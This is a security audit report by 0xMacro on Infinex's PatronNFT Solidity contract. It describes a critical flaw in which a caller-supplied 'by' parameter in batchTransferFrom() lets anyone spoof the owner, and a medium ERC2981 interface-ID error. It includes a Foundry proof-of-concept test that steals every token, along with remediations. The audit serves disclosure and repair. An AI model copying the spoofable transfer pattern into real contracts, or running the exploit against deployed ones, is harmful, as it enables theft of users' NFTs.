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Infinex 9

Security Audit

September 24, 2024

Version 1.0.0

Presented by 0xMacro

Table of Contents

Introduction

This document includes the results of the security audit for Infinex's smart contract code as found in the section titled ‘Source Code’. The security audit was performed by the Macro security team from September 12th to September 19th, 2024.

The purpose of this audit is to review the source code of certain Infinex Solidity contracts, and provide feedback on the design, architecture, and quality of the source code with an emphasis on validating the correctness and security of the software in its entirety.

Disclaimer: While Macro’s review is comprehensive and has surfaced some changes that should be made to the source code, this audit should not solely be relied upon for security, as no single audit is guaranteed to catch all possible bugs.

Overall Assessment

The following is an aggregation of issues found by the Macro Audit team:

Severity Count Acknowledged Won't Do Addressed
Critical 1 - - 1
Medium 1 - - 1

Infinex was quick to respond to these issues.

Specification

Our understanding of the specification was based on the following sources:

Source Code

The following source code was reviewed during the audit:

Specifically, we audited the following contracts within this repository:

Source Code SHA256
infinex-contracts/src/patron/PatronNFT.sol

366ab31e51851e5b044928172ca106e8567ac6ef4ec9914a9e64820e579e1518

infinex-contracts/lib/ERC721A/contracts/ERC721A.sol

320642e172f65902744b588620738eb6b2dbe33c282ba7aea2b4fab1adc0d8bb

Note: This document contains an audit solely of the Solidity contracts listed above. Specifically, the audit pertains only to the contracts themselves, and does not pertain to any other programs or scripts, including deployment scripts.

Issue Descriptions and Recommendations

Click on an issue to jump to it, or scroll down to see them all.

Security Level Reference

We quantify issues in three parts:

  1. The high/medium/low/spec-breaking impact of the issue:
    • How bad things can get (for a vulnerability)
    • The significance of an improvement (for a code quality issue)
    • The amount of gas saved (for a gas optimization)
  2. The high/medium/low likelihood of the issue:
    • How likely is the issue to occur (for a vulnerability)
  3. The overall critical/high/medium/low severity of the issue.

This third part – the severity level – is a summary of how much consideration the client should give to fixing the issue. We assign severity according to the table of guidelines below:

Severity Description
(C-x)
Critical

We recommend the client must fix the issue, no matter what, because not fixing would mean significant funds/assets WILL be lost.

(H-x)
High

We recommend the client must address the issue, no matter what, because not fixing would be very bad, or some funds/assets will be lost, or the code’s behavior is against the provided spec.

(M-x)
Medium

We recommend the client to seriously consider fixing the issue, as the implications of not fixing the issue are severe enough to impact the project significantly, albiet not in an existential manner.

(L-x)
Low

The risk is small, unlikely, or may not relevant to the project in a meaningful way.

Whether or not the project wants to develop a fix is up to the goals and needs of the project.

(Q-x)
Code Quality

The issue identified does not pose any obvious risk, but fixing could improve overall code quality, on-chain composability, developer ergonomics, or even certain aspects of protocol design.

(I-x)
Informational

Warnings and things to keep in mind when operating the protocol. No immediate action required.

(G-x)
Gas Optimizations

The presented optimization suggestion would save an amount of gas significant enough, in our opinion, to be worth the development cost of implementing it.

Issue Details

C-1

Anyone can steal anyones Patron NFTs

Topic
Spoofing
Status
Impact
Critical
Likelihood
High

In PatronNFT.sol, it inherits ERC721A and its ERC721ABatchTransferable extension, which allows for efficient batch transfer of multiple sequential tokens. However, it also adds an additional batchTransferFrom() that differs from the batchTransferFrom() provided by the inherited ERC721ABatchTransferable extension. The key difference in PatronNFT’s version is the addition of the by parameter, which is intended to be to message sender when passed into the internal _batchTransferFrom() function, which is then used to see if the by address has permission to transfer the tokens.

In allowing anyone to pass in any address for by, someone can pass in the actual owner, or an approved address for the tokens being transferred and effectively spoof as that address, allowing them to take anyones PatronNFT tokens.

Remediations to Consider

Remove the additional batchTransferFrom() function, since a proper functioning version is already inherited.

  • POC

    Add the following function to PatronNFT.t.sol, it showcases anyone can steal all nfts

      ```solidity
      function test_canStealAllNfts() public {
          address attacker = vm.addr(0xDEAD);
    
          // setup patron nft with same constructor args, recipient will get all nfts
          string memory name = "PatronNFT";
          string memory symbol = "PNFT";
          uint256 mintAmount = 100_000;
          uint96 royaltyFeeNumerator = 1000;
          uint256 saleAmount = 10_000; // should result in the royalty fee being the same as the numerator
          string memory baseTokenURI = "https://patronnft.com/";
          address royaltyReceiver;
          uint256 calculatedRoyaltyFee;
          patronNFT = new PatronNFT("PatronNFT", "PNFT", recipient, recipient, royaltyFeeNumerator, baseTokenURI);
    
          assertEq(patronNFT.balanceOf(recipient), mintAmount);
    
          uint256[] memory tokensToSteal = new uint256[](mintAmount);
    
          for (uint256 i = 0; i < mintAmount; i++) {
              tokensToSteal[i] = i;
          }
    
          //now the attack is that anyone can set the 'by' param in the batchTransferFrom function, which should actually be the message sender, so setting the owner of the nfts as by, you spoof being the owner
    
          vm.prank(attacker);
          patronNFT.batchTransferFrom(recipient, recipient, attacker, tokensToSteal);
    
          // attacker has stolen all nfts
          assertEq(patronNFT.balanceOf(attacker), mintAmount);
          assertEq(patronNFT.balanceOf(recipient), 0);
      }
      ```
    
M-1

Patron NFT contract is not supporting ERC2981

Topic
TOSupport interfaceDO
Status
Impact
High
Likelihood
Medium

In PatronNFT contract, there’s supportsInterface() function, which attempts to support ERC2981 standard:

    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC2981, ERC721A, IERC721A) returns (bool) {
        // The interface IDs are constants representing the first 4 bytes
        // of the XOR of all function selectors in the interface.
        // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)
        // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)
        return interfaceId == 0x01ffc9a7 // ERC165 interface ID for ERC165.
            || interfaceId == 0x80ac58cd // ERC165 interface ID for ERC721.
            || interfaceId == 0x5b5e139f // ERC165 interface ID for ERC721Metadata.
            || interfaceId == type(ERC2981).interfaceId; // ERC165 interface ID for ERC2981.
    }

Reference: PatronNFT.sol#L134-L143

According to the ERC2981 standard, it only included royaltyInfo() function, which makes the standard’s interfaceId equal to royaltyInfo.selector == 0x2a55205a

In PatronNFT, ERC2981 is imported from OpenZeppelin library, which has its own supportsInterface function and is not defined in the ERC2981 standard, hence its interfaceId is equal to royaltyInfo.selector ^ supportsInterface.selector == 0x2a55205a ^ 0x01ffc9a7 == 0x2baae9fd

As a result, PatronNFT supports the wrong interfaceId

Remediations to Consider

Properly support ERC2981 with interfaceId is 0x2a55205a:

    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC2981, ERC721A, IERC721A) returns (bool) {
        // The interface IDs are constants representing the first 4 bytes
        // of the XOR of all function selectors in the interface.
        // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)
        // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)
        return interfaceId == 0x01ffc9a7 // ERC165 interface ID for ERC165.
            || interfaceId == 0x80ac58cd // ERC165 interface ID for ERC721.
            || interfaceId == 0x5b5e139f // ERC165 interface ID for ERC721Metadata.
-           || interfaceId == type(ERC2981).interfaceId; // ERC165 interface ID for ERC2981.
+           || interfaceId == 0x2a55205a; // ERC165 interface ID for ERC2981.
    }

Disclaimer

Macro makes no warranties, either express, implied, statutory, or otherwise, with respect to the services or deliverables provided in this report, and Macro specifically disclaims all implied warranties of merchantability, fitness for a particular purpose, noninfringement and those arising from a course of dealing, usage or trade with respect thereto, and all such warranties are hereby excluded to the fullest extent permitted by law.

Macro will not be liable for any lost profits, business, contracts, revenue, goodwill, production, anticipated savings, loss of data, or costs of procurement of substitute goods or services or for any claim or demand by any other party. In no event will Macro be liable for consequential, incidental, special, indirect, or exemplary damages arising out of this agreement or any work statement, however caused and (to the fullest extent permitted by law) under any theory of liability (including negligence), even if Macro has been advised of the possibility of such damages.

The scope of this report and review is limited to a review of only the code presented by the Infinex team and only the source code Macro notes as being within the scope of Macro’s review within this report. This report does not include an audit of the deployment scripts used to deploy the Solidity contracts in the repository corresponding to this audit. Specifically, for the avoidance of doubt, this report does not constitute investment advice, is not intended to be relied upon as investment advice, is not an endorsement of this project or team, and it is not a guarantee as to the absolute security of the project. In this report you may through hypertext or other computer links, gain access to websites operated by persons other than Macro. Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such websites’ owners. You agree that Macro is not responsible for the content or operation of such websites, and that Macro shall have no liability to your or any other person or entity for the use of third party websites. Macro assumes no responsibility for the use of third party software and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software.